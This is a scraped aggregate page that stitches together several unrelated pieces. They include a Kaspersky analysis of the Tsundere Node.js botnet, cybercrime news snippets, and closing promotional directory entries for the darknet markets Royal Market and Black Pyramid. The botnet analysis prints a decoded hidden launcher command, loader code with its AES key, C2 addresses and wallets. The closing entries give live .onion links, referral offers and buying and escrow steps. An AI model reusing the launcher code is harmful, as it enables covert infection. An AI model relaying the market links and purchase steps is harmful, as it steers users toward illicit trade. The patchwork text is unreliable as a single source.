In 2022, we published our research examining how IT specialists look for work on the dark web. Since then, the job market has shifted, along with the expectations and requirements placed on professionals. However, recruitment and headhunting on the dark web remain active.

So, what does this job market look like today? This report examines how employment and recruitment function on the dark web, drawing on 2,225 job-related posts collected from shadow forums between January 2023 and June 2025. Our analysis shows that the dark web continues to serve as a parallel labor market with its own norms, recruitment practices and salary expectations, while also reflecting broader global economic shifts. Notably, job seekers increasingly describe prior work experience within the shadow economy, suggesting that for many, this environment is familiar and long-standing.

The majority of job seekers do not specify a professional field, with 69% expressing willingness to take any available work. At the same time, a wide range of roles are represented, particularly in IT. Developers, penetration testers and money launderers remain the most in-demand specialists, with reverse engineers commanding the highest average salaries. We also observe a significant presence of teenagers in the market, many seeking small, fast earnings and often already familiar with fraudulent schemes.

While the shadow market contrasts with legal employment in areas such as contract formality and hiring speed, there are clear parallels between the two. Both markets increasingly prioritize practical skills over formal education, conduct background checks and show synchronized fluctuations in supply and demand.

Looking ahead, we expect the average age and qualifications of dark web job seekers to rise, driven in part by global layoffs. Ultimately, the dark web job market is not isolated — it evolves alongside the legitimate labor market, influenced by the same global economic forces.

In this report, you’ll find:

• Demographics of the dark web job seekers
• Their job preferences
• Top specializations on the dark web
• Job salaries
• Comparison between legal and shadow job markets

Get the report

Introduction

Tsundere is a new botnet, discovered by our Kaspersky GReAT around mid-2025. We have correlated this threat with previous reports from October 2024 that reveal code similarities, as well as the use of the same C2 retrieval method and wallet. In that instance, the threat actor created malicious Node.js packages and used the Node Package Manager (npm) to deliver the payload. The packages were named similarly to popular packages, employing a technique known as typosquatting. The threat actor targeted libraries such as Puppeteer, Bignum.js, and various cryptocurrency packages, resulting in 287 identified malware packages. This supply chain attack affected Windows, Linux, and macOS users, but it was short-lived, as the packages were removed and the threat actor abandoned this infection method after being detected.

The threat actor resurfaced around July 2025 with a new threat. We have dubbed it the Tsundere bot after its C2 panel. This botnet is currently expanding and poses an active threat to Windows users.

Initial infection

Currently, there is no conclusive evidence on how the Tsundere bot implants are being spread. However, in one documented case, the implant was installed via a Remote Monitoring and Management (RMM) tool, which downloaded a file named pdf.msi from a compromised website. In other instances, the sample names suggest that the implants are being disseminated using the lure of popular Windows games, particularly first-person shooters. The samples found in the wild have names such as “valorant”, “cs2”, or “r6x”, which appear to be attempts to capitalize on the popularity of these games among piracy communities.

Malware implants

According to the C2 panel, there are two distinct formats for spreading the implant: via an MSI installer and via a PowerShell script. Implants are automatically generated by the C2 panel (as described in the Infrastructure section).

MSI installer

The MSI installer was often disguised as a fake installer for popular games and other software to lure new victims. Notably, at the time of our research, it had a very low detection rate.

The installer contains a list of data and JavaScript files that are updated with each new build, as well as the necessary Node.js executables to run these scripts. The following is a list of files included in the sample:

nodejs/B4jHWzJnlABB2B7
nodejs/UYE20NBBzyFhqAQ.js
nodejs/79juqlY2mETeQOc
nodejs/thoJahgqObmWWA2
nodejs/node.exe
nodejs/npm.cmd
nodejs/npx.cmd

The last three files in the list are legitimate Node.js files. They are installed alongside the malicious artifacts in the user’s AppData\Local\nodejs directory.

An examination of the CustomAction table reveals the process by which Windows Installer executes the malware and installs the Tsundere bot:

RunModulesSetup 1058    NodeDir powershell -WindowStyle Hidden -NoLogo -enc JABuAG[...]ACkAOwAiAA==

After Base64 decoding, the command appears as follows:

$nodePath = "$env:LOCALAPPDATA\nodejs\node.exe";
& $nodePath  - e "const { spawn } = require('child_process'); spawn(process.env.LOCALAPPDATA + '\\nodejs\\node.exe', ['B4jHWzJnlABB2B7'], { detached: true, stdio: 'ignore', windowsHide: true, cwd: __dirname }).unref();"

This will execute Node.js code that spawns a new Node.js process, which runs the loader JavaScript code (in this case, B4jHWzJnlABB2B7). The resulting child process runs in the background, remaining hidden from the user.

Loader script

The loader script is responsible for ensuring the correct decryption and execution of the main bot script, which handles npm unpackaging and configuration. Although the loader code, similar to the code for the other JavaScript files, is obfuscated, it can be deobfuscated using open-source tools. Once executed, the loader attempts to locate the unpackaging script and configuration for the Tsundere bot, decrypts them using the AES-256 CBC cryptographic algorithm with a build-specific key and IV, and saves the decrypted files under different filenames.

encScriptPath = 'thoJahgqObmWWA2',
  encConfigPath = '79juqlY2mETeQOc',
  decScript = 'uB39hFJ6YS8L2Fd',
  decConfig = '9s9IxB5AbDj4Pmw',
  keyBase64 = '2l+jfiPEJufKA1bmMTesfxcBmQwFmmamIGM0b4YfkPQ=',
  ivBase64 = 'NxrqwWI+zQB+XL4+I/042A==',
[...]
    const h = path.dirname(encScriptPath),
      i = path.join(h, decScript),
      j = path.join(h, decConfig)
    decryptFile(encScriptPath, i, key, iv)
    decryptFile(encConfigPath, j, key, iv)

The configuration file is a JSON that defines a directory and file structure, as well as file contents, which the malware will recreate. The malware author refers to this file as “config”, but its primary purpose is to package and deploy the Node.js package manager (npm) without requiring manual installation or downloading. The unpackaging script is responsible for recreating this structure, including the node_modules directory with all its libraries, which contains packages necessary for the malware to run.

With the environment now set up, the malware proceeds to install three packages to the node_modules directory using npm:

• ws: a WebSocket networking library
• ethers: a library for communicating with Ethereum
• pm2: a Node.js process management tool

The pm2 package is installed to ensure the Tsundere bot remains active and used to launch the bot. Additionally, pm2 helps achieve persistence on the system by writing to the registry and configuring itself to restart the process upon login.

PowerShell infector

The PowerShell version of the infector operates in a more compact and simplified manner. Instead of utilizing a configuration file and an unpacker — as done with the MSI installer — it downloads the ZIP file node-v18.17.0-win-x64.zip from the official Node.js website nodejs[.]org and extracts it to the AppData\Local\NodeJS directory, ultimately deploying Node.js on the targeted device. The infector then uses the AES-256-CBC algorithm to decrypt two large hexadecimal-encoded variables, which correspond to the bot script and a persistence script. These decrypted files, along with a package.json file are written to the disk. The package.json file contains information about the malicious Node.js package, as well as the necessary libraries to be installed, including the ws and ethers packages. Finally, the infector runs both scripts, starting with the persistence script that is followed by the bot script.

Persistence is achieved through the same mechanism observed in the MSI installer: the script creates a value in the HKCU:\Software\Microsoft\Windows\CurrentVersion\Run registry key that points to itself. It then overwrites itself with a new script that is Base64 decoded. This new script is responsible for ensuring the bot is executed on each login by spawning a new instance of the bot.

Tsundere bot

We will now delve into the Tsundere bot, examining its communication with the command-and-control (C2) server and its primary functionality.

C2 address retrieval

Web3 contracts, also known as smart contracts, are deployed on a blockchain via transactions from a wallet. These contracts can store data in variables, which can be modified by functions defined within the contract. In this case, the Tsundere botnet utilizes the Ethereum blockchain, where a method named setString(string _str) is defined to modify the state variable param1, allowing it to store a string. The string stored in param1 is used by the Tsundere botnet administrators to store new WebSocket C2 servers, which can be rotated at will and are immutable once written to the Ethereum blockchain.

The Tsundere botnet relies on two constant points of reference on the Ethereum blockchain:

• Wallet: 0x73625B6cdFECC81A4899D221C732E1f73e504a32
• Contract: 0xa1b40044EBc2794f207D45143Bd82a1B86156c6b

In order to change the C2 server, the Tsundere botnet makes a transaction to update the state variable with a new address. Below is a transaction made on August 19, 2025, with a value of 0 ETH, which updates the address.

The state variable has a fixed length of 32 bytes, and a string of 24 bytes (see item [2] in the previous image) is stored within it. When this string is converted from hexadecimal to ASCII, it reveals the new WebSocket C2 server address: ws[:]//185.28.119[.]179:1234.

To obtain the C2 address, the bot contacts various public endpoints that provide remote procedure call (RPC) APIs, allowing them to interact with Ethereum blockchain nodes. At the start of the script, the bot calls a function named fetchAndUpdateIP, which iterates through a list of RPC providers. For each provider, it checks the transactions associated with the contract address and wallet owner, and then retrieves the string from the state variable containing the WebSocket address, as previously observed.

The Tsundere bot verifies that the C2 address starts with either ws:// or wss:// to ensure it is a valid WebSocket URL, and then sets the obtained string as the server URL. But before using this new URL, the bot first checks the system locale by retrieving the culture name of the machine to avoid infecting systems in the CIS region. If the system is not in the CIS region, the bot establishes a connection to the server via a WebSocket, setting up the necessary handlers for receiving, sending, and managing connection states, such as errors and closed sockets.

Communication

The communication flow between the client (Tsundere bot) and the server (WebSocket C2) is as follows:

1. The Tsundere bot establishes a WebSocket connection with the retrieved C2 address.
2. An AES key is transmitted immediately after the connection is established.
3. The bot sends an empty string to confirm receipt of the key.
4. The server then sends an IV, enabling the use of encrypted communication from that point on.
   Encryption is required for all subsequent communication.
5. The bot transmits the OS information of the infected machine, including the MAC address, total memory, GPU information, and other details. This information is also used to generate a unique identifier (UUID).
6. The C2 server responds with a JSON object, acknowledging the connection and confirming the bot’s presence.
7. With the connection established, the client and server can exchange information freely.
   1. To maintain the connection, keep-alive messages are sent every minute using ping/pong messages.
   2. The bot sends encrypted responses as part of the ping/pong messages, ensuring continuous communication.

The connections are not authenticated through any additional means, making it possible for a fake client to establish a connection.

As previously mentioned, the client sends an encrypted ping message to the C2 server every minute, which returns a pong message. This ping-pong exchange serves as a mechanism for the C2 panel to maintain a list of currently active bots.

Functionality

The Tsundere bot is designed to allow the C2 server to send dynamic JavaScript code. When the C2 server sends a message with ID=1 to the bot, the message is evaluated as a new function and then executed. The result of this operation is sent back to the server via a custom function named serverSend, which is responsible for transmitting the result as a JSON object, encrypted for secure communication.

The ability to evaluate code makes the Tsundere bot relatively simple, but it also provides flexibility and dynamism, allowing the botnet administrators to adapt it to a wide range of actions.

However, during our observation period, we did not receive any commands or functions from the C2 server, possibly because the newly connected bot needed to be requested by other threat actors through the botnet panel before it could be utilized.

Infrastructure

The Tsundere bot utilizes WebSocket as its primary protocol for establishing connections with the C2 server. As mentioned earlier, at the time of writing, the malware was communicating with the WebSocket server located at 185.28.119[.]179, and our tests indicated that it was responding positively to bot connections.

The following table lists the IP addresses and ports extracted from the provided list of URLs:

IP	Port	First seen (contract update)	ASN
185.28.119[.]179	1234	2025-08-19	AS62005
196.251.72[.]192	1234	2025-08-03	AS401120
103.246.145[.]201	1234	2025-07-14	AS211381
193.24.123[.]68	3011	2025-06-21	AS200593
62.60.226[.]179	3001	2025-05-04	AS214351

Marketplace and control panel

No business is complete without a marketplace, and similarly, no botnet is complete without a control panel. The Tsundere botnet has both a marketplace and a control panel, which are integrated into the same frontend.

The notable aspect of Tsundere’s control panel, dubbed “Tsundere Netto” (version 2.4.4), is that it has an open registration system. Any user who accesses the login form can register and gain access to the panel, which features various tabs:

• Bots: a dashboard displaying the number of bots under the user’s control
• Settings: user settings and administrative functions
• Build: if the user has an active license, they can create new bots using the two previously mentioned methodologies (MSI or PowerShell)
• Market: this is the most interesting aspect of the panel, as it allows users to promote their individual bots and offer various services and functionalities to other threat actors. Each build can create a bot that performs a specific set of actions, which can then be offered to others
• Monero wallet: a wallet service that enables users to make deposits or withdrawals
• Socks proxy: a feature that allows users to utilize their bots as proxies for their traffic

Each build generates a unique build ID, which is embedded in the implant and sent to the C2 server upon infection. This build ID can be linked to the user who created it. According to our research and analysis of other URLs found in the wild, builds are created through the panel and can be downloaded via the URL:

hxxps://idk.1f2e[REDACTED]07a4[.]net/api/builds/{BUILD-ID}.msi.

At the time of writing this, the panel typically has between 90 and 115 bots connected to the C2 server at any given time.

Attribution

Based on the text found in the implants, we can conclude with high confidence that the threat actor behind the Tsundere botnet is likely Russian-speaking. The use of the Russian language in the implants is consistent with previous attacks attributed to the same threat actor.

Furthermore, our analysis suggests a connection between the Tsundere botnet and the 123 Stealer, a C++-based stealer available on the shadow market for $120 per month. This connection is based on the fact that both panels share the same server. Notably, the main domain serves as the frontend for the 123 Stealer panel, while the subdomain “idk.” is used for the Tsundere botnet panel.

By examining the available evidence, we can link both threats to a Russian-speaking threat actor known as “koneko”. Koneko was previously active on a dark web forum, where they promoted the 123 Stealer, as well as other malware, including a backdoor. Although our analysis of the backdoor revealed that it was not directly related to Tsundere, it shared similarities with the Tsundere botnet in that it was written in Node.js and used PowerShell or MSI as infectors. Before the dark web forum was seized and shut down, koneko’s profile featured the title “node malware senior”, further suggesting their expertise in Node.js-based malware.

Conclusion

The Tsundere botnet represents a renewed effort by a presumably identified threat actor to revamp their toolset. The Node.js-based bot is an evolution of an attack discovered in October of last year, and it now features a new strategy and even a new business model. Infections can occur through MSI and PowerShell files, which provides flexibility in terms of disguising installers, using phishing as a point of entry, or integrating with other attack mechanisms, making it an even more formidable threat.

Additionally, the botnet leverages a technique that is gaining popularity: utilizing web3 contracts, also known as “smart contracts”, to host command-and-control (C2) addresses, which enhances the resilience of the botnet infrastructure. The botnet’s possible author, koneko, is also involved in peddling other threats, such as the 123 Stealer, which suggests that the threat is likely to escalate rather than diminish in the coming months. As a result, it is essential to closely monitor this threat and be vigilant for related threats that may emerge in the near future.

Indicators of compromise

More IoCs related to this threat are available to customers of the Kaspersky Intelligence Reporting Service. Contact: intelreports@kaspersky.com.

File hashes
235A93C7A4B79135E4D3C220F9313421
760B026EDFE2546798CDC136D0A33834
7E70530BE2BFFCFADEC74DE6DC282357
5CC5381A1B4AC275D221ECC57B85F7C3
AD885646DAEE05159902F32499713008
A7ED440BB7114FAD21ABFA2D4E3790A0
7CF2FD60B6368FBAC5517787AB798EA2
E64527A9FF2CAF0C2D90E2238262B59A
31231FD3F3A88A27B37EC9A23E92EBBC
FFBDE4340FC156089F968A3BD5AA7A57
E7AF0705BA1EE2B6FBF5E619C3B2747E
BFD7642671A5788722D74D62D8647DF9
8D504BA5A434F392CC05EBE0ED42B586
87CE512032A5D1422399566ECE5E24CF
B06845C9586DCC27EDBE387EAAE8853F
DB06453806DACAFDC7135F3B0DEA4A8F

File paths
%APPDATA%\Local\NodeJS

Domains and IPs
ws://185.28.119[.]179:1234
ws://196.251.72[.]192:1234
ws://103.246.145[.]201:1234
ws://193.24.123[.]68:3011
ws://62.60.226[.]179:3001

Cryptocurrency wallets
Note: These are wallets that have changed the C2 address in the smart contract since it was created.
0x73625B6cdFECC81A4899D221C732E1f73e504a32
0x10ca9bE67D03917e9938a7c28601663B191E4413
0xEc99D2C797Db6E0eBD664128EfED9265fBE54579
0xf11Cb0578EA61e2EDB8a4a12c02E3eF26E80fc36
0xdb8e8B0ef3ea1105A6D84b27Fc0bAA9845C66FD7
0x10ca9bE67D03917e9938a7c28601663B191E4413
0x52221c293a21D8CA7AFD01Ac6bFAC7175D590A84
0x46b0f9bA6F1fb89eb80347c92c9e91BDF1b9E8CC

What do hacktivist campaigns look like in 2025? To answer this question, we analyzed more than 11,000 posts produced by over 120 hacktivist groups circulating across both the surface web and the dark web, with a particular focus on groups targeting MENA countries. The primary goal of our research is to highlight patterns in hacktivist operations, including attack methods, public warnings, and stated intent. The analysis is undertaken exclusively from a cybersecurity perspective and anchored in the principle of neutrality.

Hacktivists are politically motivated threat actors who typically value visibility over sophistication. Their tactics are designed for maximum visibility, reach, and ease of execution, rather than stealth or technical complexity. The term “hacktivist” may refer to either the administrator of a community who initiates the attack or an ordinary subscriber who simply participates in the campaign.

Key findings

While it may be assumed that most operations unfold on hidden forums, in fact, most hacktivist planning and mobilization happens in the open. Telegram has become the command center for today’s hacktivist groups, hosting the highest density of attack planning and calls to action. The second place is occupied by X (ex-Twitter).

Although we focused on hacktivists operating in MENA, the targeting of the groups under review is global, extending well beyond the region. There are victims throughout Europe and Middle East, as well as Argentina, the United States, Indonesia, India, Vietnam, Thailand, Cambodia, Türkiye, and others.

Hashtags as the connective tissue of hacktivist operations

One notable feature of hacktivist posts and messages on dark web sites is the frequent use of hashtags (#words). Used in their posts constantly, hashtags often serve as political slogans, amplifying messages, coordinating activity or claiming credit for attacks. The most common themes are political statements and hacktivist groups names, though hashtags sometimes reference geographical locations, such as specific countries or cities.

Hashtags also map alliances and momentum. We have identified 2063 unique tags in 2025: 1484 appearing for the first time, and many tied directly to specific groups or joint campaigns. Most tags are short-lived, lasting about two months, with “popular” ones persisting longer when amplified by alliances; channel bans contribute to attrition.

Operationally, reports of completed attacks dominate hashtagged content (58%), and within those, DDoS is the workhorse (61%). Spikes in threatening rhetoric do not by themselves predict more attacks, but timing matters: when threats are published, they typically refer to actions in the near term, i.e. the same week or month, making early warning from open-channel monitoring materially useful.

The full version of the report details the following findings:

• How long it typically takes for an attack to be reported after an initial threat post
• How hashtags are used to coordinate attacks or claim credit
• Patterns across campaigns and regions
• The types of cyberattacks being promoted or celebrated

Practical takeaways and recommendations

For defenders and corporate leaders, we recommend the following:

• Prioritize scalable DDoS mitigation and proactive security measures.
• Treat public threats as short-horizon indicators rather than long-range forecasts.
• Invest in continuous monitoring across Telegram and related ecosystems to discover alliance announcements, threat posts, and cross-posted “proof” rapidly.

Even organizations outside geopolitical conflict zones should assume exposure: hacktivist campaigns seek reach and spectacle, not narrow geography, and hashtags remain a practical lens for separating noise from signals that demand action.

To download the full report, please fill in the form below.

Abacus Market, the largest bitcoin-enabled Western darknet marketplace, went offline earlier this month, leading blockchain intelligence firm TRM Labs to assess that the operators likely executed an exit scam, disappearing with users’ funds. This incident follows the June 16 seizure of Archetyp Market by law enforcement, highlighting a trend of instability within the Western darknet […]

An international law enforcement operation in June 2025 dismantled Archetyp, one of the dark web’s largest drug marketplaces, after a three-day crackdown spanning six countries. Police Seize €7.8M in Assets in Archetyp Dark Web Bust Archetyp, a darknet platform that reportedly facilitated more than €250 million ($289 million) in illicit drug sales, was taken offline […]

Dormant cryptocurrency wallets associated with Nucleus Marketplace, a dark web market inactive since 2016, unexpectedly showed transaction activity on March 7, 2025, reigniting speculation about the fate of 5,000 bitcoin ( BTC) tied to the platform, according to data from blockchain analytics firm Arkham Intelligence. Dormant Bitcoin Wallets Linked to Defunct Dark Web Market Nucleus […]

A landmark sentencing has closed the chapter on Bitcoin Fog, the longest-running bitcoin mixing service on the darknet, with its operator facing over a decade in prison. The Fall of Bitcoin Fog: DOJ’s Pursuit Unmasks a Decade-Long Darknet Operation The U.S. Department of Justice (DOJ) announced Friday that Roman Sterlingov has been sentenced to prison […]

Heather Morgan, known by her rap persona “Razzlekhan,” could land an 18-month prison sentence after pleading guilty to laundering cryptocurrency linked to the 2016 Bitfinex hack. Prosecutors described her role as pivotal in obscuring stolen bitcoin through complex schemes, despite not being part of the original theft. Her cooperation, and the influence of her husband, […]

Two Russian nationals have been charged with running a massive money laundering network that processed billions through cryptocurrency exchanges, the U.S. Department of Justice (DOJ) announced. These exchanges, including Cryptex and Joker’s Stash, enabled criminals to bypass regulations and funnel funds from fraud, ransomware, and darknet activities. U.S. authorities, in collaboration with international law enforcement, […]

A Nigerian national has been sentenced to five years in federal prison for his role in a massive darknet fraud scheme that intended to cause over $6 million in losses, according to the U.S. Department of Justice (DOJ). Using various online aliases, Kaura led a global network selling stolen payment card data, using cryptocurrencies like […]

German authorities have dismantled 47 exchange services involved in facilitating anonymous crypto transactions for criminal activities. These platforms bypassed anti-money laundering protocols, enabling cybercriminals to exchange digital currencies without identity verification. The takedown follows a series of other operations targeting major cybercrime networks. With seized user and transaction data, authorities are set to pursue further […]

Irish authorities seized $7.1 million in cryptocurrency in a raid targeting money laundering and darknet sales. Three individuals were arrested, with one remaining in custody. “The arrests of the three individuals and the assets seized are the result of a highly complex investigation into criminal darknet marketplace activities by specialist investigators attached to the Garda […]

According to the U.S. Department of Justice (DOJ), the operator of the darknet marketplace Incognito was apprehended at John F. Kennedy Airport on May 18. Law enforcement officials claim Rui-Siang Lin allegedly constructed the DNM and facilitated the sale of over $100 million worth of illegal drugs through the platform. Federal Authorities Nab Alleged Darknet […]

The Internal Revenue Service (IRS) plans to send four agents who specialize in investigating cybercrime to Australia, Singapore, Colombia, and Germany starting this summer. These four new positions represent a significant increase in the IRS’s global efforts to fight cybercrimes, such as those involving cryptocurrency, decentralized finance and crypto laundering services. In the last several […]

Russian crypto traders have been looking to obtain unrestricted accounts for global exchanges as their access to such platforms is limited. Over the past year, the offering of such accounts on the dark web has increased significantly, cybersecurity experts told the Russian press.

Supply of Crypto Exchange Accounts for Russian Users Doubles in a Year of Sanctions

More and more ready-to-use accounts for cryptocurrency exchanges are being sold to Russian residents. While this is not a new phenomenon — such accounts are often employed by fraudsters and money launderers — the current growth in supply has been attributed to the restrictions imposed by the trading platforms on customers from Russia, as a result of compliance with sanctions over the war in Ukraine.

Russian residents have been buying these accounts despite the dangers, including the risk that whoever created them could maintain access after the sale, the Kommersant reported. But they are inexpensive and offers on darknet markets have doubled since early 2022, Nikolay Chursin from the Positive Technologies information security threat analysis group told the business daily.

According to Peter Mareichev, an analyst at Kaspersky Digital Footprint Intelligence, the number of new ads for ready-made and verified wallets on various exchanges reached 400 in December. Proposals to prepare fake documents for passing know-your-customer procedures also rose, the newspaper revealed in an earlier article last month.

Simple login data, username and password, is typically priced at around $50, Chursin added. And for a fully set up account, including the documents with which it was registered, a buyer would have to pay an average of $300. Dmitry Bogachev from digital threat analysis firm Jet Infosystems explained that the price depends on factors such as the country and date of registration as well as the activity history. Older accounts are more expensive.

Sergey Mendeleev, CEO of defi banking platform Indefibank, pointed out that there are two categories of buyers — Russians that have no other choice as they need an account for everyday work and those who use these accounts for criminal purposes. Igor Sergienko, director of development at cybersecurity services provider RTK-Solar, is convinced that demand is largely due to crypto exchanges blocking Russian accounts or withdrawals to Russian bank cards in recent months.

Major crypto service providers, including leading digital asset exchanges, have complied with financial restrictions introduced by the West in response to Russia’s invasion of Ukraine. Last year, the world’s largest crypto trading platform, Binance, indicated that, while restricting sanctioned individuals and entities, it was not banning all Russians.

However, since the end of 2022, a number of Russian users of Binance have complained about having their accounts blocked without explanation, as reported by Forklog. Many experienced problems for weeks, including suspended withdrawals amid prolonged checks, affected customers said. The company told the crypto news outlet that the blocking of users from Eastern Europe and the Commonwealth of Independent States was related to the case with the seized crypto exchange Bitzlato.

Do you think the restrictions will push more Russians towards buying ready-made accounts for cryptocurrency exchanges? Share your thoughts on the subject in the comments section below.

Law enforcement authorities from over a dozen countries in Europe and North America have taken part in disrupting the activities of the Hive ransomware group, the U.S. Justice Department and Europol announced. Hive is believed to have targeted various organizations worldwide in the past couple of years, often extorting payments in cryptocurrency.

Captured Decryption Keys Helped Hive Victims Avoid Paying $130 Million in Ransom

Ransomware network Hive, which has had around 1,500 victims in more than 80 countries, has been hit in a months-long disruption campaign, the U.S. Department of Justice (DOJ) and the European Union Agency for Law Enforcement Cooperation (Europol) revealed. A total of 13 nations participated in the operation, including EU member states, the U.K. and Canada.

Hive has been identified as a major cybersecurity threat as the ransomware has been used by affiliated actors to compromise and encrypt data and computer systems of government facilities, oil multinationals, IT and telecom companies in the EU and U.S., Europol said. Hospitals, schools, financial firms, and critical infrastructure have been targeted, the DOJ noted.

It has been one of the most prolific ransomware strains, Chainalysis pointed out, which has collected at least $100 million from victims since its launch in 2021. A recent report by the blockchain forensics company unveiled that revenue from such attacks has decreased last year, with a growing number of affected organizations refusing to pay the demanded ransoms.

According to the announcements by the law enforcement authorities, the U.S. Federal Bureau of Investigation (FBI) penetrated Hive’s computers in July 2022 and captured its decryption keys, providing them to victims around the world which prevented them from paying another $130 million.

Working with the German Federal Police and the Dutch High Tech Crime Unit, the Bureau has now seized control over the servers and websites that Hive used to communicate with its members and the victims, including the darknet domain where the stolen data was sometimes posted. FBI Director Christopher Wray was quoted as stating:

The coordinated disruption of Hive’s computer networks … shows what we can accomplish by combining a relentless search for useful technical information to share with victims.

The Hive ransomware was created, maintained and updated by developers while being employed by affiliates in a ‘ransomware-as-a-service’ (RaaS) double extortion model, Europol explained. The affiliates would initially copy the data and then encrypt the files before asking for a ransom to decrypt the information and not publish it on the leak site.

The attackers exploited various vulnerabilities and used a number of methods, including single factor logins via Remote Desktop Protocol (RDP), virtual private networks (VPNs), and other remote network connection protocols as well as phishing emails with malicious attachments, the law enforcement agencies detailed.

Do you expect police authorities around the world to dismantle more ransomware networks in the near future? Tell us in the comments section below.

“That was the only path through this darkness,” says U.S. prosecutor Zia Faruqui. “The darker the darknet gets, the way that you shine the light is following the money.” In “Tracers in the Dark,” Andy Greenberg, a senior writer at Wired, takes a historical look at what he calls Bitcoin’s “siren song: the promise of […]

Almost every day, someone calls me to inquire about how to deal with a compromised identity. It has become so common that I have come to the point of just assuming everyone has had their identity compromised in some way, shape or form after the last few years of large-scale data breaches[1]. In 2018, the […]

The post What Should You Do When Your Identity Has Been Compromised? appeared first on Radware Blog.

Royal Market is an easy to use Darkweb Market

ITEM	DESCRIPTION
Launch Date	2022
Main Link	royal3bxkzqkksbckis2ka64mn274bbni2fy537f6c544heebiv6qmqd.onion
Security	Good
2 Factor Authentication	YES
Multisignature	YES
Finalize Early	YES
Commission	—
Vendor Bond	—
Forced PGP	—
Status	—
User Perception	Good

Alternate Links

http://royal3bxkzqkksbckis2ka64mn274bbni2fy537f6c544heebiv6qmqd.onion

http://royaldkdn4g6pa7scawwx72s23fquyuosewlwh5265usjhip6xyyjuid.onion

http://nyuit2hr4qxqlnqv7dswpkylq3puilulmfhko5whxqt4qvnt57tfqwqd.onion

http://qessywfblcfhg7n2y4dnydmly5uuwruzobgenml3cv7lxt24hpa63yqd.onion

http://widqqxpvp6vebbiav3fz4r4avt3fddxkfyxtsovlqnjija2m36fxgvyd.onion

Royal market

Royal Market Dispute System

Buyer or Seller, while pressing the Dispute button, cancels all automation. From that time, we have a communication system ready for both sides. The administration is aware of every dispute and has access to the communication between Buyer and Vendor. If both parties cannot agree, Admin decides which side is a winning side. The buyer can also close and finalize the Dispute unassisted, anytime while it is open. Please keep in mind that every Vendor should have personal Terms of Service, and we can try to push the Vendor to execute them. Royal Market is not reliable for the quality of an item. If the Buyer got purchased item but is not happy about the quality, the fair is to finalize the order but leave Neutral or Negative feedback with the proper description.

Royal Market Report System

In case you suspect something, don’t like something, or think that you was/may get scammed, you got the option to: report a vendor, report a buyer, report a listing, report a custom shop, report a support agent, report a bug or any type of problem. All you have to do is click on the Report button located in: each listing, each custom shop, each buyer profile, each seller profile, each support agent profile. Once you clicked the Report button, please be very specified and include as much information as possible. Once the admin reads out the support he will either Accept it or Reject it. You will be notified of both. Accepted/Rejected reports will be displayed into the reported user profile once solutioned by the admin. Reports will affect user rating if Accepted and will not affect the ratings if Rejected.

Royal Market Referal Program

Join our REFERRAL Program to get endless streams of income. Recommend Royal Market Market and earn commission on each purchase or sale.

All you need to do is to go to /myprofile/refferal , copy your refferal link and share it around. This way you will get your own, unique Invitation Code which you can share with others. If user creates an account and use this code while signing up, he becomes your referral.

We are very generous and we offer 50 % off our commission.

How does it work ?
Once you have referred coupe of users and they either become vendors or start buying products, once the deal / order ends successfully 50 % off the earned fee ( currently 3 % global market fee ) will be automatically transferred into your specified withdraw wallet ).

You can view your referral statistics and referral list here: /profile/refferal

Sales From Other markets

We have built a nice feature in order for you vendors and buyers. Now, total sales from other markets are counted and displayed into all your listings, into your profile, into your custom shop and it will be displayed after your name, example:
Vendor (0) (0) – first (0) represents total sales on Royal Market, second (0) represents total sales on other markets. For example, if you had 200 sales on Empire market, 300 sales on Alphabay market and 150 sales on Dark Market, it will show as this; Vendor (0) (650) ( which is visible almost everywhere on the market )
Total sales on other markets will be also displayed into your listings, profile and custom shop.

Have stats from other markets that have not been imported ? Create a support ticket and request it.

WHY MY CUSTOM SHOP SHOWS AS INACTIVE AND DOESN’T APPEAR IN /SHOPS?

When your Custom Shop status shows INACTIVE that means you did not:

1. Set a name ( that will generate a one time link for your shop / the name and link can never be changed so chose carefully )
2. Set a description
3. Set a cover image
4. Add at least 4 listings to your shop

By completing all the above steps will activate your custom shop, send a notification in the live feed that your shop has been enabled and list it under our /shops page.
Same rules apply for advertising/future your custom shop into our homepage, it needs to be customized before.

How to trade on Royal Market

Buying on Royal is extremly easy and safe. We are offering multiple payment options and a smart escrow system. All you have to do is select the product you want to buy, add it to your cart, insert your shipping details or any additional info that will be encrypted automatically using vendor’s public PGP key, click Update, click Purchase and select your prefered payment option.

1. Pay directly – means that you will be see a wallet and the ammount you need to deposit into our escrow system in order to mark your order as Paid ( Please note, you have only 3 hours to submit your payment due to coin price changes, if you fail to do so, your order will be automatically cancelled )
2. Pay with market balance – If you have already deposited into your market balance or have balance from cancelled orders or won disputes, you can simply use this option to pay for your product.
3. Combined payment – If you do not have enough market balance to cover your total order cost, you will be redirected to a payment page where you will be asked to pay the remaining balance to cover the total order cost.

How long does it take for orders to Finalize

Currently, orders will be automatically finalized if buyer won’t mark them as Delivered within:
14 days for Psyhical orders
5 days for Digital orders
Each order has its own timer shown within your order details page, if you did not receive your product and your order is abtout to autofinalize, please start a dispute to stop the timer.

Withdraws

Withdraws can take from few minutes up to 24 hours. Withdraws are checked each time before being processed for security and against scam reasons. Please do not create a ticket if your withdraw is not processed for lower then 24 hours, if your withdraw time will exceed 24 hours, do create a ticket.

Disputes Solve

It depends on each dispute. Disputes needs time to be processed since evidence needs to be provided. It may take from few days up to 1 week to get your dispute solved, depends on your answering time. If you did receive your order as a buyer, you can always Cancel your dispute witch will release the funds to the vendor.

Vendor Bond

Currently the vendor bond fee is set to $1000 and it is not refundable.

Custom Shop

Currently opening a Custom Shop costs $750 and it is not refundable.

502 Timeout Error

All you have to do is wait few minutes and click “New Tor circuit for this site” within your tor browser, try all our alternative links:

Black Pyramid Market is a fully featured next-gen darkweb market conceived to give the best experience possible to dark-net users.

ITEM	DESCRIPTION
Launch Date	2022
Main Link	jgyplo3wnfledctlbmajslwqtrzkpfwbcukegyqpqscnjqxibmbw3kad.onion
Security	Good
2 Factor Authentication	YES
Multisignature	YES
Finalize Early	YES
Commission	—
Vendor Bond	—
Forced PGP	—
Status	—
User Perception	Good

Alternate Links

http://jgyplo3wnfledctlbmajslwqtrzkpfwbcukegyqpqscnjqxibmbw3kad.onion

http://uj3mw3vwdkrhhnx2oodgbzbb2nrfhsddco73zkhfoibmlyq2uegpzqqd.onion

Black Pyramid Market

Black Pyramid´s Vision

Black Pyramid Market is the next-generation market, giving the avarage dark-net user one of the most efficient way to shop online. We focus our attention on security, innovation and user-friendliness in order to bring out the perfect balance between sophistication and simplicity.

We do not restrict users in their choice of action and offers multiple features, variations and packages to please everyone on Black Pyramid Market.

